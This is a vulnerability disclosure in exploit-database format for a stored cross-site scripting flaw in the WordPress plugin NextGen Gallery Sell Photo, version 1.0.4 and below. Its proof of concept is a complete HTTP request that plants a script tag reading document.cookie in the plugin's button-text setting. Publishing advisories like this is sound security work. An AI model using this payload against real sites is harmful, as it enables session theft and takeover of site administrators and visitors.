# Exploit Title: Wordpress Plugin NextGen Gallery Sell Photo 1.0.5 - Persistent Cross-Site Scripting
# Date: 2020-08-14
# Vendor Homepage: https://noorsplugin.com/
# Vendor Changelog: https://wordpress.org/plugins/nextgen-gallery-sell-photo/#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/14/stored-xss-vulnerability-in-wordpress-nextgen-gallery-sell-photo-plugin/
# Author Homepage: https://melbin.in
# Version: 1.0.4 and below

1. Description

The NextGen Gallery Sell Photo is a WordPress Plugin used to sell images directly from NextGen Gallery in WordPress blog with PayPal. The 'Button Text/Image' field in Settings page of Sell Photos Plugin was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. It is triggered when a users loads a page where the plugin is used, and when an admin opens settings page of the plugin. All WordPress websites using Sell Photo version 1.0.4 and below are affected.

2. Proof of Concept

POST /w/wp-admin/options-general.php?page=nextgen-sell-photo-settings HTTP/1.1
Host: 127.0.0.1
Content-Length: 336
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://127.0.0.1/w/wp-admin/options-general.php?page=nextgen-sell-photo-settings
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

_wpnonce=a48671c8bf&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dnextgen-sell-photo-settings&paypal_email=john%40zopmail.com&currency_code=USD&price_amount=5.00&button_anchor=Buy+Now+%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&return_url=http%3A%2F%2F95.217.19.38%2Fw&ngsp_update_settings=Save+Changes